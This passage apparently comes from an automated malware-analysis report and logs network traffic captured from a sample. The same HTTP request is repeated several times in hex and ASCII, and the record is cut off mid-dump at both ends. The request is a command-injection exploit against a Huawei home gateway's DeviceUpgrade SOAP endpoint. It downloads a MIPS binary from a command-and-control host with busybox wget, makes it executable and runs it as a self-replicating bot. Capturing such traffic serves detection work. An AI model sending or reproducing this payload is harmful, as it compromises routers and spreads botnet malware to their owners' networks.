huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 